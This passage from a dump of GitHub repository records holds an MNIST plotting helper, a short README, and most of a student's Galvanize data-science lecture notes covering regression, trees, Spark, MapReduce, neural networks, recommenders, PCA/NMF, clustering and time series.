}\n]","isConversational":false},"num_files":{"kind":"number","value":8,"string":"8"}}},{"rowIdx":2978378,"cells":{"repo_name":{"kind":"string","value":"emanuelfeld/ml-coursera"},"repo_url":{"kind":"string","value":"https://github.com/emanuelfeld/ml-coursera"},"snapshot_id":{"kind":"string","value":"9451dedf530b221f2569fc294065c6af0ac1411a"},"revision_id":{"kind":"string","value":"f8b8b450af3bc2d955b0dde8e59b966407524ddc"},"directory_id":{"kind":"string","value":"1561a678a8b0d97453d28ea7e3a8f949b042f108"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-09-03T06:04:59.258526","string":"2021-09-03T06:04:59.258526"},"revision_date":{"kind":"timestamp","value":"2018-01-06T05:53:16","string":"2018-01-06T05:53:16"},"committer_date":{"kind":"timestamp","value":"2018-01-06T05:53:16","string":"2018-01-06T05:53:16"},"github_id":{"kind":"number","value":116452070,"string":"116,452,070"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5651537179946899,"alphanum_fraction":0.5915080308914185,"avg_line_length":30.090909957885742,"blob_id":"a6072ffac4f32ba00f059a26faba61c4d9693073","content_id":"092a00372ea7671c3dbdc93a8778495bfe34132b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":683,"license_type":"no_license","max_line_length":68,"num_lines":22,"path":"/utilities.py","repo_name":"emanuelfeld/ml-coursera","src_encoding":"UTF-8","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ndef plot_mnist_result(X, y, prediction):\n # plot 25 random points in a grid\n idx = np.random.choice(np.arange(X.shape[0]), 25, replace=False)\n X_sample = X[idx]\n p_sample = prediction.flatten()[idx]\n y_sample = y.flatten()[idx]\n \n for i in range(25):\n pixels = X_sample[i].reshape((20, 20))\n color = 'green' if p_sample[i] == y_sample[i] else 'red'\n title = p_sample[i] if p_sample[i] != 10 else 0\n\n plt.subplot(5, 5, i + 1)\n plt.axis('off')\n plt.title(title, color=color)\n plt.subplots_adjust(wspace=2)\n plt.imshow(pixels.T, cmap='gray')\n\n plt.show()"},{"alpha_fraction":0.7857142686843872,"alphanum_fraction":0.7857142686843872,"avg_line_length":13.333333015441895,"blob_id":"0289aee75c4d82c2a65316212fe09b448b23723e","content_id":"eba1541eecbcfb20c401d3732027f9dd7fbdf7c8","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":42,"license_type":"no_license","max_line_length":27,"num_lines":3,"path":"/README.md","repo_name":"emanuelfeld/ml-coursera","src_encoding":"UTF-8","text":"# ml-coursera\n\nCoursera ML class in Python"}],"string":"[\n {\n \"alpha_fraction\": 0.5651537179946899,\n \"alphanum_fraction\": 0.5915080308914185,\n \"avg_line_length\": 30.090909957885742,\n \"blob_id\": \"a6072ffac4f32ba00f059a26faba61c4d9693073\",\n \"content_id\": \"092a00372ea7671c3dbdc93a8778495bfe34132b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 683,\n \"license_type\": \"no_license\",\n \"max_line_length\": 68,\n \"num_lines\": 22,\n \"path\": \"/utilities.py\",\n \"repo_name\": \"emanuelfeld/ml-coursera\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import numpy as np\\nimport matplotlib.pyplot as plt\\n\\ndef plot_mnist_result(X, y, prediction):\\n # plot 25 random points in a grid\\n idx = np.random.choice(np.arange(X.shape[0]), 25, replace=False)\\n X_sample = X[idx]\\n p_sample = prediction.flatten()[idx]\\n y_sample = y.flatten()[idx]\\n \\n for i in range(25):\\n pixels = X_sample[i].reshape((20, 20))\\n color = 'green' if p_sample[i] == y_sample[i] else 'red'\\n title = p_sample[i] if p_sample[i] != 10 else 0\\n\\n plt.subplot(5, 5, i + 1)\\n plt.axis('off')\\n plt.title(title, color=color)\\n plt.subplots_adjust(wspace=2)\\n plt.imshow(pixels.T, cmap='gray')\\n\\n plt.show()\"\n },\n {\n \"alpha_fraction\": 0.7857142686843872,\n \"alphanum_fraction\": 0.7857142686843872,\n \"avg_line_length\": 13.333333015441895,\n \"blob_id\": \"0289aee75c4d82c2a65316212fe09b448b23723e\",\n \"content_id\": \"eba1541eecbcfb20c401d3732027f9dd7fbdf7c8\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 42,\n \"license_type\": \"no_license\",\n \"max_line_length\": 27,\n \"num_lines\": 3,\n \"path\": \"/README.md\",\n \"repo_name\": \"emanuelfeld/ml-coursera\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# ml-coursera\\n\\nCoursera ML class in Python\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":2,"string":"2"}}},{"rowIdx":2978379,"cells":{"repo_name":{"kind":"string","value":"geoffisdancing/galnotes"},"repo_url":{"kind":"string","value":"https://github.com/geoffisdancing/galnotes"},"snapshot_id":{"kind":"string","value":"23ee822a310e9df22918c2813cfcbc37545da166"},"revision_id":{"kind":"string","value":"81567e294d6d07a51c7561aefa3054bdbf620b40"},"directory_id":{"kind":"string","value":"1937f9904bd592c2901c69a2481e726ce81f65f9"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-20T20:32:42.140995","string":"2021-01-20T20:32:42.140995"},"revision_date":{"kind":"timestamp","value":"2017-08-03T18:19:00","string":"2017-08-03T18:19:00"},"committer_date":{"kind":"timestamp","value":"2017-08-03T18:19:00","string":"2017-08-03T18:19:00"},"github_id":{"kind":"number","value":62321843,"string":"62,321,843"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.7367845773696899,"alphanum_fraction":0.7428185939788818,"avg_line_length":81.86377716064453,"blob_id":"adb9c0e86ea87eb878f3b683c5e6c75a751d7e55","content_id":"0b7c00b124cd8806a63699a169caaa88ea50156f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":105315,"license_type":"no_license","max_line_length":496,"num_lines":1270,"path":"/160601 Galvanize Lecture Notes.md","repo_name":"geoffisdancing/galnotes","src_encoding":"UTF-8","text":"160822 Model Comparison Lecture\n 1. Linear Model\n - Interpretability, given the linear assumption\n - R2 represents the total variabilty explained by the model. Recall that by adding more features, R2 increases, so be aware that this is a limitaiton of R2 (doesn't penalize for increased features (model complexity))\n - So adjusted R2, AIC, BIC account for increased complexity\n - Need to assume constant variance in errors (homoskedastic)\n - ie residuals are clustered randomly as x increases in residual plot.\n - can do transformations to address this (because will be biased in the long-run)\n - Assume mean zero\n - Assume no multicolinearity, assume no autoregressive terms\n 2. Logistic Regression\n - Need to normalize each feature if you want to interpret betas as strenghts of association\n - Regularization of regression (in general) with Ridge/Lasso helps to optimize the Bias/Variance tradeoff, such that you decrease variance without sacrificing too much Bias\n - Elastic net as the nice combination of LASSO & Ridge.\n 3. KNN\n - Pick \"k\" using cross-validation\n - Can be helpful to impute data\n 4. Decision Trees\n - Can only do axis parallel splits\n - In regression , minimize mean squared error in each leaf\n - In classification, minimize \"information criteria\" Not sure, review\n - \"Greedy algorithm\" meaning will pick the best split at the given point, without regard for the bigger picture performance.\n - Almost never converges to the global optimimum\n - Slow, because will look at every possible split at every node, so this take a lot of computational time.\n - Deterministic, meaning it will build the same tree each time\n - Decide on tree depth:\n - Prepruning: depth, number of points in node etc\n - Post pruning: prune back after making it deep .\n 5. Ensembling techniques\n - Bagging: Bootstrap Aggregating\n - Create bunch of trees on a bootstrapped subsample of the data\n - Inherently correlated\n - But decrease variance\n - Random forest: Same as Bagging, except that at each split, limit features space\n - Taking the average of trees, so, makes it difficult to overfit\n 6. SVM\n - Perform fairly well in high dimension cases\n 7. Gradient Boosting\n - Forward stagewise, learns from the prior model\n - Gradient descent by fitting a new tree to the residuals\n - Aggregating, trying to fit to where you didn't fit as well earlier\n - Hyperparameters:\n - depth of tree\n - learning rate: ignore votes of some tree\n - number of trees\n - minimum samples per leaf\n 8. Unsupervised Methods\n - K Means\n - can't include categorical variables \n - need to scale the variables\n - Hierarchical Clustering\n - Choose two points close to one another, form groups from bottom up\n - Dendrograms result and you can then chop off dendrograms at certain points to determine what groups look at at that point\n - Benefit is you don't need to pick K at each point\n - PCA\n - Reduce dimensionality\n - There's the possibility that the explanatory variable with the greatest predictive power is not in one of the dimensions reduced by PCA, causing it not to perform well\n - SVD is a way of fitting\n - Can do some latent feature analysis\n\n\n\n\n160722 Graph Theory\n 1. Terms:\n - A graph is an unordered pair G = (V, E)\n - V is our set of vertices\n - E is a set of edges (pairs of vertices)\n - V = {1,2,3}, E = {{1,2}, {2,3} etc}\n - ORder is number of vertices, Size is number of edges\n - Simple Graph: No loops and no multiple edges\n - Degree: Number of neighbors\n - For an undirected graph, an adjacency matrix is symmetric across the diagonal\n - An Adjacency list is a list of nodes and edges denoting connection. An adjacency list requires storage of VxE, whereas an adjacency matrix requires storage of V^2 (since its a matrix)\n - For lookup, Adjacency list requires searching V items for your answer, a matrix essentially doesn't require lookup since you can index right to your answer\n 2. Node importance\n - Degree centrality = # of connections\n - Betweenness centrality = a measure of node importance based on how many (shortest) paths cross through a given node\n - Eigenvector centrality = Take the eigenvector of the adjacency matrix multiplied by matrix of ones, then again over and over see SSS21\n - Way of accounting for the importance of nodes who are connections to a given node to determine the importance / centrality of the given node\n - SSS21\n - What Makes a community:\n - Mutual Ties\n - Compactness\n - Dense edges\n - Separation from other groups\n - Modularity, Q, is a measure of community-ness\n - SSS22 Modularity equation\n - m is total number of degrees in the network\n - Heuristic to maximize modularity is to cut the edges with the greatest betweenness centrality, and calculate the modularity equation in the remaining communities created--and graph this; repeat for the next edge with next highest betweenness centrality. The edge at which this will peak and this peak is appx where the Q is maximized.\n\n\n160721 Spark AWS\n 1. Spark Data Frames\n - Faster than traditional RDDs.\n - Abstraction that simplifies working with structured databases.\n - So after creating a spark context, you instantiate a hive or SQL context (feeding it the spark context).\n - Load up data directly into the hive context.\n\n\n160720 Apache Spark\n 1. Overall\n - Spark is a framework for distributed processing\n - Streamlined alternative to Map-Reduce\n - Spark can be written in Scala, Java or Python\n - Can analyze petabytes of data\n - Faster than Map Reduce, API is simpler\n - Spark job consists of a series of map and reduce function\n - Intermediate data is kept in memory rather than written to disk\n - Trade off is that it requires more memory.\n - Spark outshines Map Reduce with iterative algorithms, where you don't have to save results of each step to disk\n - For non-iterative algorithms Spark is comparable to Map Reduce\n 2. Spark\n - HIGH LEVEL SUMMARY: So with spark, you construct the RDD, feed it a list of data, then perform a series of transformations (can be many) until you have what you want and then perform an action to aggregate the result.\n - A Spark job pushes the data to the cluster, all computation happens on the executors, then the result is sent back to the driver.\n - Spark does the parallelizing for you!\n - RDD:\tResilient Distributed Dataset or a distributed sequence of records\n - Spark Job:\tSequence of transformations on data with a final action\n - Transformation:\tSpark operation that produces an RDD\n - Action:\tSpark operation that produces a local object\n - Spark Application:\tSequence of Spark jobs and other code\n - Transformations occur on the Worker nodes\n - The data is collected on the Driver\n 3.\n - Group by key stores the values in memory, where as reduce by key, you only maintain the current accumulator so it is more light weight. But if you need the individual elements, you need to use group by key.\n - Spark MLib : ML library for use on Spark\n\n\n\n\n\n160719 Map Reduce\n 1. MMD Reading: Map Reduce\n A. Several distributed file systems: Google File System, Hadoop Distributed FIle System, CloudStore\n - Very large files (if small, no need for DFS) KEY REQUIREMENT\n - Files rarely updated, rather they are read as data KEY REQUIREMENT\n - Files are divided into chunks 64MB size, repeated ~3 times at three different nodes\n B. Overall Map-Reduce Structure:\n - Some number of Map tasks are given one or more chunks from a distributed file system. These Map tasks turn the chunk into a sequence of key-value pairs. The Map function determines how to calculate the value from the key.\n - Key value pairs are collected by the master controller and sorted by key. All key-values pairs with the same key end up with the same Reduce task.\n - The Reduce function combines all values associated with a given key in the way determined by the Reduce function.\n 2. Big Data - Distributed Computing \n A. The three Vs of Big Data\n - High Volume, Velocity, Variety\n - With distributed computing systems (involving many computers) you can scale \"out\" which means adding more computers which can thus take advantage of parallelizable algorithms\n - Distributed Computing pros: Better scalability, easy to add more machines than to add more cores to a machine.\n - Fault tolerance - if one machine fails the whole network is not down\n - There is overhead involved with having multiple computers in a network communicate with each other, and there is a restrained set of problems that can readily be solved in a paralellizable way. So these considerations must be made when deciding whether to use distributed solutions.\n B. Map Reduce \n - Pushes the code to the data (rather than moving data to the code)\n - Map Reduce handles details of distributed computing taking care of:\n - Parallelization and Distribution\n - Partitioning (shuffle & sort)\n - Fault tolerance\n - Resource Management\n - Status and monitoring\n - Map Function: Applies a function to each elements of a data structure\n - Action of taking in some form of data and filter/transforming it into another form. Outputs 0 or more possibly transformed versions of the data\n - Reduce Function: Takes a function which aggregates the elements of a data structure\n - Action of taking a bunch of grouped data and combining it.\n - Network/Bandwidth is a limited resource in Map Reduce operations. So try to decrease the amount of data that you need to move/sort around the framework.\n - HIVE - SQL like language to query Map Reduce\n - APACHE HBASE -\n - Pig - high level language over Map Reduce\n\n\n\n\n160718 Amazon Web Services\n 1. Instance type:\n m4, general purpose, balance between network, CPU etc\n c, denotes compute\n g, denotes GPU based instances\n\n\n160712 Neural Networks\n 1. Dense layer, or fully connected layer: proximal layer has connections between every node in that layer and the input layer\n - Each node in each layer is a function of the outputs of the input layer\n - Place a different weight on each connection between the input layer and layer 1\n - Can initialize with a random weight\n - So you have a matrix of weights between every node in each layer\n - Goal is to learn the weights via training\n - So the function of a given node is then the matrix-wise dot product of the weights for that layer dot-product the input layer (preceding).\n - There is additionally an \"activation function\" that defines how to combine the inputs with the weights from each node of the layer. Usually define the function uniformly across the layer, and often across the neural network.\n - Several functions work better than others for this purpose\n - Constraint is that the function must be differentiable\n - Predefine neural network structure and functions etc.\n - Weights are then learned via \"training\" to minimize the output loss function\n - SSS20 Neural Network Architecture\n - Layer 2, for example, will take the augmented values of layer 1, run it through the activation function, and output to the next layer\n - Loss function is put on the output (must be differentiable) to determine the loss of true vs. predicted, and then change weights to minimize the loss\n 2. Optimizing Weights:\n - LEARN MORE HERE: ultimately you can describe the impact a given weight has on the ultimate loss function as a function of distal layers/weights.\n - So you send a \"batch\" of x's through the network, obtain a loss function, then\n - backpropagation is using that loss to calculate the optimal weights to minimize loss.\n - Then send another batch through, repeat.\n - Ultimately, the network will see all the data in various batches\n 3. General\n - Neural networks require a lot of data to train, and underperform with smaller data sets\n - But performance tends to continue to increase as data gets bigger\n - Width of the network describes the number of nodes per layer\n - Rules of thumb:\n - First go for depth of the network\n - Once can do that (errors etc), can increase width of the layer\n - Want to \"overfit the data\", then impose regularization\n - Drop out: is a value x btw 0-1, and will ignore x weights during forward and back propagation, to \"force the net to adjust the weight on a future prop if it is really important\"\n - Learning Rate: decreasing the learning rate per node (similar to in trees)\n 4. Convolutional Neural Networks\n - Good when inputs are correlated with one another; ie pixels in an image\n - Convolutions are smaller matrices that act as a filter when you pass it over the larger image.\n - Train a neural network to learn the smaller matrices/filters. Similar to learning the weights in the above NN\n - Note that this is not a dense network, only some nodes are affecting subsequent nodes\n - After a convolutional layer, often do a \"Pooling\" layer (ie Max Pooling), which uses a small convolution ie 3x3, then takes the max of that area, then creates another smaller layer (causes significant information degradation). Tries to solve the problem of things not appearing in the exact same places, pooling tries to solve this.\n - Can intersperse several convolutional layers and a pooling layer, and repeat as needed.\n - In subsequent layers of the network, each convolution is akin to a node, and the convolutions themselves are like weights that are changed with each forward/back-propagation. Therefore, each layer can \"learn\" more complex interactions between the features, again such that you decrease the loss function.\n - After the last convolutional layer, \"unravel\" the features that come out of the last layer into one or two fully-connected layers before giving the output predictions.\n 5. General learnings from trying (in discussion with Carey):\n A. First step in building a neural net is to build it such that you can show that it is \"learning\" and thus overfitting.\n - Do this by building it as deep first then wide second as possible, and adding the relevant filters / max-pooling (or other pooling layer) that make sense conceptually given the problem.\n - Then can feed it a subset of the training data (in replicate, ie x 10) and see if it perfectly predicts the output ie 100% accuracy. This suggests that it is overfitting and thus learning.\n - Can then impose \"regularization\" through increasing dropout, decreasing layers, increasing filters etc, and test the performance of this (ie how well you are controlling for overfitting) using cross validation.\n - Then ultimately once you've adequately regularized and adjusted for overfitting as suggested by cross-validation, then feed it test data and see how it does.\n - Recall that you need to take the complexity of the data into account in the design of your model. Ie if it is a simple dataset, you shouldn't build a deep network, otherwise you will overfit. So prune layers.\n B. Other things\n - Its reasonable to use relu function for all upper layers, and then relevant activation for the final layer, such as sigmoid for a binary outcome.\n - There is a train of thought that rather than initializing weights with the random uniform, perhaps use a gaussian distribution which may improve performance. Look into this and consider implementing.\n\n\n160707 Recommenders: Collaborative Filtering Recommenders\n 1. Collaborative Filtering\n - considers past users behavior to predict missing ratings\n - other types of recommending:\n - popularity, independent of user's themselves\n - content based: based on the properties/characteristic of an item and past user's behavior\n - How to compare similarity?: User to user or item to item. In a setting where there are more users than items, calculating item to item similarity requires less computations.\n - Also, user rows are sparsely populated. Whereas items are more densely populated\n - Similarity comparison:\n - Euclidean distance in practice doesn't work well as a comparison of similarity\n - Pearson Correlation: measures how much two vectors deviate from their mean together. Isn't sensitive to users who consistently rate low or high\n - Cosine distance: Measures the angle between two vectors. Equivalent to Pearson correlation coefficient when vectors are mean centered.\n - Jaccard Similarity: Usable when you don't have ratings but have boolean data. Measures similarity between two sets.\n 2. Predicting Ratings\n - SSS16 Predicting Ratings\n - to predict rating for item i: (the sum of similarities between items i and j times the user's true rating of item j) / sum of the similarities of items i and j.\n - TO improve performance, can restrain calculations to items most similar to i.\n 3. Recommenders are hard to validate:\n - often deploy in A/B testing manner and see if it leads to more conversions\n - can do k-fold cross validation\n - Error metric: RMSE, though this considers how far off you are with all your ratings.\n - Precision: proportion of top-n documents that are relevant \n - Recall: proportion of relevant items in the top n.\n - To do cross validation for a recommender:\n - keep a percentage of your cells that have data (of the sparse matrix) and hold this as out as your test set. Then do cross-validation on the remaining (training set), and you can get an approximation of error using your held out test set. This is under the assumption that there is an ADDITIONAL test set that you will obtain a final score on (ie in a competition style setting).\n 4. Review of SVD/ PCA\n - All decomposed matrices (ie all axes of PCA) will be orthonormal.\n - SVD is not very good for very sparse matrices, since you need to fill in missing values, and so the algorithm will try to fit to those values (ie 0) which doesn't perform well.\n - NMF can be a good option for recommending systems using sparse matrices.\n - The decomposed matrices W*H (from V = W*H)\n - One thing you need to do is to impose a regularization factor (the right side of the equation), so given the missing values, some values are not necessarily seen? ? so you need to impose a constraint on them using the normalization factor.\n - SSS17 NMF equation for recommendation\n 5. NMF\n - Much of the observed variation in rating values is due to item bias and user bias. Capture this using a few bias terms: overall bias of the rating by the user i for item j:: b-ij = mean rating + b-i + b-j. bi = bias of the user on average; bj = item's average deviation from overall average.\n - Thus the cost function can be updated to reflect the bias equation.\n - SSS18 NMF Bias cost function\n\n\n\n\n160706\n 1. Non Negative Matrix Factorization\n - At a high level: Non negative matrix factorization is a method of dimensionality reduction, whereby you break down a single matrix into two component matrices, but which have inner dimensions of \"k\". K defines the pre-defined k number of latent features you wish to find/break down your original matrix into.\n - defining k here is similar to all other unsupervised learning techniques whereby you can define how many \"topics\" or categories you aim to find using the method.\n - It is similar to PCA and SVD, except in PCA/SVD, the two resulting component vectors (specified by the size of latent features k you are seeking...ie the inner dimensions of the component matrices) are by definition orthogonal, whereas in NMF, they do not have to be (and thus often are not)\n - SVD find orthogonal features between two matrices whereas NMF does not.\n - Operationally, NMF finds the decomposed matrices W and H via an optimizatio method called alternative least squares: You have a target vector V shape (n x m). You initialize matrix W to be random values, shape (n x k). You then calculate matrix H shape (k x m) to minimize the least squares between W and V.\n - You then fix H, and re calculate W to minimize least squares between H and V.\n - Repeat alternating until least squares is minimized beyond a threshold or for a set number of iterations.\n - V = W * H\n - SSS19 NMF equation\n - All values of V must be non-negative\n - In NMF You \"clip\" the values of the resulting matrices such that they are non-negative values\n - NMF decomposes feature matrix X (n x m) into W and H, which are not likely orthonormal\n - W is (n x k) represents the strength of each latent feature for each observation\n - H is (k x m) represents strength of each observed feature for each latent feature\n - k is number of latent features\n - W and H are learned via alternating least squares (ALS) as above\n - ALS is biconvex, so you don't always find the global optima. Better optima can be found with strategic initializations (like k means) or from multiple random initializations\n - NMF is an approximate factorization, and has non-unique solutions. Will find a local optima with non-convex RSS optimization\n - k features is a tunable hyperparameter\n 2. Extensions\n - Regularization with NMF when using ALS\n - In most cases of using NMF as a recommending system, you have data which is very sparse: ie data on many more items (movies, amazon items etc) than number of users--further the actual cells in this matrix that are occupied are the small minority.\n - Given this, for SVD, you are forced to fill in the values with zeros or something else, to which the algorithm subsequent fits, which doesn't make much sense and thus does not perform well.\n - with NMF, however, you don't have to impute missing values.\n - SSS17 NMF equation for recommendation\n - However, since W and H are randomly initialized in NMF, all values in these matrices are filled. Given the sparsity of the data as explained, this increases the likelihood that you will overfit the data given the simple RMS cost function.\n - Thus, adding regularization to the cost function (right side of the equation in SSS17), is the practical reality of using NMF on real world recommender-type data sets.\n - This regularized cost will serve to impose greater penalty on the wi and hj values that overfit the data, and this is applied DURING the ALS fitting process.\n - lambda is a hyperparameter which you can tune, ie via graph search, comparing resulting models via RMSE error or something similar.\n - In graphmodels, lambda is a hyperparameter as such, which you can tune.\n - Can choose K with a cross-validation process \n - cost function can be other than ALS such as information gain, gini index etc\n - See tomomorrow's lecture for info on BIAS accomodation via NMF\n 3. Project tips:\n - \"interesting\"\n - Focused question\n\n\n160705 Dimensionality Reduction\n 1. Principal Component Analysis\n - With many dimensions, many features are likely correlated, so if there is highly correlated data, there is redundant information. So we try to decorrelate the input vectors.\n - The covariance matrix of a feature space usually has a lot of large values\n - The ideal is to find the covariance matrix where all non-diagonal values are 0.\n - We can do this by defining that all of our PCA dimensions will be ORTHONORMAL to each other, thus by definition we remove all covariance from the covariance matrix between these dimensions.\n - ORTHONORMAL means that all vectors are unit vectors and are orthogonal to each other (dop product = 0)\n - The main idea is attempt to find a covariance matrix where all variables except the diagonal have minimal covariance with other variables, which means there is no relationship between the features\n - We can transform the matrix to make this happen\n - This corresponds to finding a new set of axes that better fit the data\n - Start by defining the first dimension to capture the maximal variance in the data\n - The second dimension (of this first component) is defined to be orthogonal to the first, so there is no covariance between the two features, given this definition\n - Our goal with PCA is to find the transformation matrix V which when applied to original data X which gives us our ideal covariance matrix.\n - In other words, to get the transformation, we need to find the eigenvalues and eigenvectors of M-T M.\n - The Eigenvectors are the new basis; the eigenvalues are the variance in each of these dimensions.\n - To reduce the number of dimensions to m << p, can get rid of the smallest lambdas\n - To determine how many features to keep , can look at the scree plot, plotting the variances (eigenvalues) in increasing order. Choose the elbow or wherever the most information is captured.\n - An eigenvector v of a linear transformation T is a non-zero vector that, when T is applied to it, does not change direction. Applying T to the eigenvector only scales the eigenvector by the scalar value lambda, called the eigenvalue.\n - T(v) = Lambda(v)\n - Each principal component projection is defined such that each tries to capture as much variance of the original data set.\n 2. Curse of dimensionality\n - Any technique that involves a distance metric suffers from this, which is that as features increase, the distance between them grows without bounds.\n - Heuristic, for a model to be effective you need the distance between points to be less than some value d. Thus, you need 1/d^p data points, if you have p dimensions.\n 3. Singular Value Decomposition: A method to help perform calculations necessary for PCA\n - Since calculating the eigenvalues and eigenvectors is difficult, the SVD technique allows for more efficient computation. SVD can also help find latent features.\n - SVD is based on the following: every matrix has a unique decomposition in the following form: X = U E V.T\n - U and V are orthonormal matrices (constraint imposed by the definition of PCA)\n - E is a diagonal matrix of positive values; can reduce dimensions by sending the smaller diagonals to zero. Thus this is the method of dimensionality reduction via SVD.\n - Plotting the scree plot and determining the elbow is a way to determine how many features/dimensions to keep.\n - Allows you to calculate the eigenvector/eigenvalues for matrices, without computing the matrices themselves (computationally intensive).\n - This is in fact what sklearn does under the hood to calculate PCA\n 4. Latent Features\n - Structure in the data that you don't observe directly\n - SVD can help discover latent features\n - In SVD/PCA, you find all the orthonormal matrices for every category of features in your data; so you usually end up with the same number of latent \"features\" as your original feature set.\n - However, you can then calculate the information gain from each given feature, rank them, and then choose to keep only 3 or 5 or whatever. This varies from NMF in that in NMF you pre-specificy the k number of latent features you wish to find at the beginning of the procedure.\n\n\n\n160701 K Means Clustering/Hierarchical Clustering\n 1. Supervised vs Unsupervised\n - The loss function (described by the (y - y-hat), ie MSE etc) effectively \"supervises\" our learning of the relationship between y = f(x).\n - In unsupervised learning. Can still try to discern structure from the x data.\n - Unsupervised learning is particularly sensitive to selecting the right model, and deciding which data goes into the model.\n 2. Clustering\n - Dividing data into distinct subgroups. Since we don't have labels, choosing the value of k is of particular importance, since you never know the truth and can't cross-validate to infer the best k\n 3. K Means\n - We want within-cluster variation to be small\n - Want assignment of points to groups so within cluster variation is the smallest. So one way is to minimize the squared euclidean distance between all pairwise points\n - K means procedure:\n - start by randomly assigning each data point to a cluster.\n - computer the centroid of the cluster\n - re-assign the data points to the nearest centroid\n - recompute centroid\n - reassign data points...and repeat until no further change.\n - Techniques to choose K, or to \"learn\" k\n - Elbow Method: Compute within cluster variation (sum of squares) for several values of K. Thus there often will be a k after which the decrease in variation decreases. So you pick the elbow. But there is not always an obvious elbow on which to pick k.\n - GAP statistics\n - Silhouette Coefficient\n - Curse of Dimensionality\n - Since we're computing distances between points in k means, in high dimensional spaces, distances become far apart in high dimensions.\n - Amount of data needed to compensate for high dimensional data increases quickly\n 4. Hierarchical Clustering\n - Algorithm: each point is its own cluster, merge closest clusters, and end when all points are in a single cluster.\n - don't have to choose k at the start, number of groups depends on where we cut the dendrogram\n - Several distance measures to consider using, resulting in different dendrograms. Most common are complete and average\n\n\n160630 Time Series\n 1. Reading notes:\n 1. One main goal is to account for the correlated nature of points, which explains their relative \"smoothness\" in time series data. So try to describe some mathematical model to describe the appearance of the data observed.\n 2. Methods include using white noise,\n -moving averages: replaces a white noise series w-sub-t with an average of its current value and its immediate neighbors past and future.\n - Autoregressive- uses the two previous values\n - Random Walk with Drift - random white noise movement with a drift (slope?) factor\n 2. Time Series Lecture: analysis of experimental datat observed over time, usually equally spaced.\n - Conventional statistical methods are restricted given the correlation of adjacent time points; given assumption of independent and identically distributed data\n - Overal: find a pattern from past data at hand, and forcast into the future\n - Assumptions is that the pattern will continue\n 3. Components of a time series\n - Trend - long run up and down of the series.\n - Cycle: upward/downward around the trend\n - Seasonal Variations: patterns following yearly patterns\n - Irregular Variation: remaining erratic movements that can not be accounted for\n - Goal is to estimate the trend, cycle, seasonal components of a time series so all that's left is irregular fluctuations\n 4. Time Series Regression\n - Linear regression featurized time: discarding assumption of normalized residuals\n - Literally add a factor to the linear model for trend\n - Similarly model seasonal variable using seasonal or seasonal-dummy variables.\n - Model L seasons in SNsubT using L-1 indicator variables S1 through SL-1\n - SSS10 Time Series Trend Series\n - Binning of time series data (past) is informed by the goal of forecasting. What do you want to predict?\n - Additive Decomposition: y = TR + SN + CL + IR , defined as trend, seasonal, cyclical and irregular factors.\n - Estimate SN t by grouping seasons and averaging and making it zero scale.\n - Estimate TR t by subtracting out seasonalized estimates , and fit a standard regression\n - Estimate CL t by removing the season and trend, and perform a moving average\n - The average of irregular fluctuations will appx be zero\n - Estimate IR t by looking at the residual after removing the main components\n - We assume that hte pattern continues into the future and that there is no pattern in the irregular component: therefore we predict IR t to be zero, thus the point estimate of IR at time t is zero.\n - Thus forecast of point estimate at time t is y = tr + sn + cl (all sub t).\n - Can give a prediction interval y +/- B sub (t, alpha), B is the error bound in a prediction interval\n - Key assumption of additive decomposition is additive variation over time. If this doesn't hold and you can't stabilize the variance, can try multiplicative decomposition\n - Smoothing methods\n - Simple exponential smoothing: Used when there is no significant linear trend (ie slope), but mean is changing over time\n - If the mean remains constant, then the standard linear model can be used, giving equal weight to all time points\n - If mean is changing slowly may better capture trend if we can give more weight to more recent observations than older observations, which is simple exponential smooothing.\n - Optimize value of alpha (which weights most recent data value)\n - SSS11 Exponential Smoothing\n - SSS12 Exponential Smoothing equation: So for more distant observations (x from current), the weight (alpha(1-alpha)^x) gets driven to zero, so more recent observations have a higher weight\n - alpha is a hyperparameter to optimize by minimizing sum of squared error SSE\n - SSS13 The error bound for more distant observations (farther from today) will get larger. Since when alpha is large, the error term (Tau -1) x alpha squared gets driven to zero\n - Hold's Trend Corrected Exponential Smoothing : allows for modeling both a linear trend (slope) that changes over time\n - Allows modeling of the mean and the growth rate (slope or linear trend) to change with time.\n - Allows us to take int o account growth rate, by adding a factor \"b\".\n - thus have both alpha and gamma hyperparameters\n - SSS13-2 Holt's Exponential Smoothing\n - Holt Winter's Exponential Smoothing : adds a component of seasonality to the linear trend/slope.\n - Similar to Holts, but it additionally takes into account an additional seasonal factor\n - Note that you ned to have data of enough seasons in order for this to work\n 5. ARIMA:\n The Box-Jenkins Methodology applies autoregressive moving average models to find the best fit of time series based on past values.\n 1. Approach:\n - SSS13-3 ARIMA model approach\n - Model Identification\n\n - The autocorrelation function is the correlation between the current time and the time x times ago. Uses pearson correlation coefficient\n - Partial auto- correlation, is the correlation between two separated points with the effect of the intervening points conditioned out. Almost like multivaraible linear regression with intervening time points as variables.\n - SSS13-4 Partial Autocorrelation\n - See ipython notebook notes for examples of autocorrelation and partial autocorrelation plots SSS13-5 Autocorrelation/partial correlation plots\n - So note the first time point 0, correlation is 1 (since correlated with itself), but for autocorrelation, as you get farther out, correlation decreases.\n - For partial autocorrelation, after taking into account the first lag, 